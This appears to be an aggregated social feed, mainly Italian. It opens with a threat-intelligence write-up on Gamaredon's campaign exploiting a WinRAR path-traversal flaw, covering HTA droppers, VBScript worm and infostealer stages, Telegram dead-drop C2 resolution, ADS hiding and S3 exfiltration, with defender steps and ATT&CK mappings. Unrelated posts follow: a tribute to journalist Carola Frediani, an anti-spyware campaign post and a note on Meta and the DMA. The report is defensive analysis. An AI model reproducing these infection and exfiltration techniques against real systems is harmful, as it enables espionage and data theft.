Il vettore iniziale di compromissione è la CVE-2025-8088, un path traversal flaw in WinRAR che consente l’estrazione di file in percorsi arbitrari del filesystem, incluse directory di avvio e cartelle di sistema. L’exploit si concretizza attraverso archivi RAR appositamente costruiti che, all’apertura, rilasciano silenziosamente un file HTA (HTML Application) denominato GammaPhish. La scelta di WinRAR come vettore non è casuale: il software è praticamente onnipresente negli ambienti governativi e militari ucraini, e Gamaredon ha già in passato sfruttato archivi RAR malevoli come vettore principale delle proprie campagne di spear-phishing.

La catena d’infezione: da GammaPhish a GammaSteel


Una volta eseguito, GammaPhish lancia GammaLoad, un downloader scritto in VBScript con tre funzioni primarie: fingerprinting del sistema host, aggiornamento della configurazione di rete nel registro di Windows tramite dead drop resolver (DDR), e recupero ed esecuzione di payload VBScript aggiuntivi dai server C2 dell’attaccante.

Da GammaLoad si biforcano i principali payload operativi. Il primo è GammaWorm, un worm VBScript progettato per garantire persistenza e propagazione laterale: stabilisce scheduled task come meccanismo di persistenza, poi individua le condivisioni di rete e i drive USB connessi al sistema infetto, ne nasconde le directory legittime e le sostituisce con file LNK (Windows Shortcut) malevoli. Quando una vittima nella rete clicca su uno di questi shortcut, viene scaricato ed eseguito codice arbitrario dal C2. Per risolvere l’indirizzo del server di comando, GammaWorm effettua una GET request tramite curl verso un canale Telegram pubblico hard-coded, sfruttando la legittimità della piattaforma per evadere i controlli di rete. I moduli core del worm vengono nascosti tramite NTFS Alternate Data Streams (ADS), rendendoli invisibili ai tool standard di ispezione del filesystem.

Il secondo payload principale è GammaSteel, un infostealer modulare che cattura file corrispondenti a specifiche estensioni (documenti Office, PDF, archivi, configurazioni) ed esfiltrate verso un bucket Amazon Web Services S3 controllato dagli attaccanti, con un server di fallback alternativo. La flessibilità dell’architettura permette anche la distribuzione di GammaWipe (GamaWiper), un componente distruttivo attivabile selettivamente a seconda degli obiettivi operativi.

Chi è Gamaredon e perché rappresenta una minaccia persistente


Gamaredon (noto anche come Primitive Bear, ACTINIUM, Armageddon, UAC-0010) è un APT attribuito ufficialmente all’FSB russo, specificamente al suo Centro 18 operante dalla Crimea. Attivo dal 2013, il gruppo si concentra quasi esclusivamente su target ucraini — enti governativi, militari, forze dell’ordine, organizzazioni del settore energetico — con campagne quasi ininterrotte che combinano spear-phishing tramite allegati RAR malevoli, malware custom VBScript e PowerShell, e tecniche di living-off-the-land. A differenza di gruppi più furtivi come APT29 o Turla, Gamaredon privilegia volume e persistenza, aggiornando costantemente i propri tool per sfuggire al rilevamento. L’analisi di Sekoia descrive questa architettura come “resiliente, massiva e altamente offuscata”: la capacità di aggiornare le configurazioni on the fly tramite Telegram DDR rende estremamente difficile bloccare le comunicazioni C2.

Campagne parallele: il fronte ucraino sotto attacco multiplo


La campagna Gamaredon si inserisce in un panorama di minacce concorrenti. UAC-0184 continua a colpire obiettivi militari ucraini con lure LNK che distribuiscono PassMark BurnInTest come carrier per payload malevoli. UAC-0247 (ex UAC-0244) ha preso di mira gli operatori di droni FPV, distribuendo dropper HTA via archivi ZIP con backdoor a reverse shell. Separatamente, ricercatori di ExaTrack hanno documentato l’evoluzione di PixyNetLoader, attribuito ad APT28, che sfrutta CVE-2026-21509 su Microsoft Office per rilasciare un implant COVENANT Grunt — varianti rilevate fino al 15 aprile 2026.

Due righe per i difensori


  • Patching immediato di WinRAR all’ultima versione disponibile (CVE-2025-8088 è patchata)
  • Blocco esecuzione HTA tramite Group Policy Object (GPO) e regole AppLocker
  • Restrizione VBScript: disabilitare wscript.exe e cscript.exe dove non necessario
  • Monitoraggio NTFS ADS su endpoint critici con Sysmon EventID 15
  • Regole SIEM/YARA per curl verso endpoint Telegram in contesti non aziendali
  • Blocco in uscita verso bucket AWS S3 sconosciuti e monitoraggio DNS per endpoint Telegram anomali
  • Segmentazione USB: policy di blocco o controllo accessi ai supporti rimovibili


Indicatori di compromissione (IoC)

## Tecniche MITRE ATT&CK
T1566.001 – Spearphishing Attachment (archivi RAR malevoli)
T1204.002 – User Execution: Malicious File (GammaPhish HTA)
T1059.005 – Command and Scripting Interpreter: VBScript (GammaLoad/GammaWorm)
T1053.005 – Scheduled Task/Job (GammaWorm persistence)
T1091    – Replication Through Removable Media (GammaWorm USB spread)
T1027    – Obfuscated Files/Information: NTFS Alternate Data Streams
T1102.001 – Web Service: Dead Drop Resolver (Telegram per risoluzione C2)
T1041    – Exfiltration Over C2 Channel (GammaSteel → AWS S3)
T1485    – Data Destruction (GammaWipe, attivato selettivamente)

## Vulnerabilità sfruttata
CVE-2025-8088 – WinRAR path traversal
Soluzione: aggiornare WinRAR all'ultima versione

## Infrastruttura C2
- Canali Telegram pubblici (hard-coded nei sample GammaWorm per DDR)
- Bucket AWS S3 attaccante-controllati (esfiltrazione GammaSteel)
- Server fallback attaccante-controllati

## Fonte primaria della ricerca
Sekoia – FSBS Matryoshka 1.3:
https://blog.sekoia.io/fsbs-matryoshka-1-3-gamaredons-gifts-that-keeps-unpacking-gammaphish-and-gammaworm/

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✨ Ciao Carola
#CyberSecurity
insicurezzadigitale.com/ciao-c…

@informatica


Ciao Carola


Ci sono notizie che arrivano come un pugno nello stomaco.

Quella della morte di Carola Frediani è una di quelle.

Per chi vive e lavora nel mondo della cybersecurity italiana, Carola non era semplicemente una giornalista. Era una presenza costante. Una delle poche persone capaci di osservare il nostro settore con lucidità, spirito critico e una rara capacità di distinguere il rumore dai fatti.

In un’epoca in cui tutto deve essere urgente, allarmistico e spettacolare, Carola aveva scelto una strada diversa: quella della comprensione.

Leggevo con attenzione la sua newsletter, seguivo i suoi articoli, i suoi approfondimenti, il suo modo di raccontare la tecnologia e la sicurezza informatica senza mai cedere alla superficialità. Riusciva a parlare tanto agli addetti ai lavori quanto a chi si avvicinava per la prima volta a questi temi, senza mai banalizzare la complessità.

Ricordo ancora con orgoglio una circostanza che mi aveva particolarmente colpito: quando citò un articolo pubblicato sul mio blog all’interno di uno dei suoi approfondimenti (la newsletter Guerre di rete sul caso SIAE) dedicati a un caso nazionale. Un gesto probabilmente normale per chi fa giornalismo con serietà, ma che per me rappresentò un riconoscimento importante. Non tanto perché proveniva da una figura autorevole del settore, quanto perché arrivava da una persona che aveva costruito la propria credibilità sulla competenza e sull’onestà intellettuale.

Negli anni, Carola è stata una delle voci che hanno contribuito a definire il dibattito italiano sulla sorveglianza digitale, sul cybercrime, sulla sicurezza delle infrastrutture, sui diritti digitali e sulle implicazioni sociali delle tecnologie che utilizziamo ogni giorno.

Ha insegnato a molti di noi che la cybersecurity non riguarda soltanto malware, ransomware e vulnerabilità. Riguarda soprattutto persone. Riguarda libertà, informazione, potere e responsabilità.

Forse è proprio questo che rende oggi così difficile accettare questa notizia.

Perché quando scompare una persona come Carola, non perdiamo soltanto una professionista. Perdiamo una voce autorevole, indipendente e profondamente necessaria.

In un settore che spesso premia chi urla più forte, lei ha dimostrato che si può lasciare un segno anche parlando con calma, documentandosi con rigore e mantenendo sempre uno sguardo umano sulle storie che raccontava.

Oggi la comunità italiana della cybersecurity è un po’ più povera.

E molti di noi si sentono improvvisamente più soli.

Grazie, Carola, per tutto quello che hai scritto, spiegato e raccontato.

Grazie per aver contribuito a costruire una cultura della sicurezza informatica più matura, più consapevole e più umana.

Ci mancherai.


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🚨 Companies producing the worst #surveillance technologies like #spyware are gathered in Europe at this very moment at the ISS World Europe in Prague, Czech Republic.

❌ There should be no support in the EU for an event like this which normalises spyware abuse, surveillance, human rights violations and complicity with the genocide in Gaza.

👀 Do you want to resist surveillance tech like spyware with us? Watch the video and join the Keep It Safe and Secure campaign ➡️ edri.org/take-action/our-campa…

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Profondissima tristezza. Ciao Carola @carolafrediani guerredirete.it/addio-carola/
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Meta wollte seinen Facebook Messenger und den Marketplace nicht als marktmächtige Kerndienste eingestuft sehen. Der US-Konzern wehrte sich vor Gericht gegen die strengeren Auflagen des Digital Markets Act, bekam aber nur in einem Punkt recht. netzpolitik.org/2026/gerichtsu…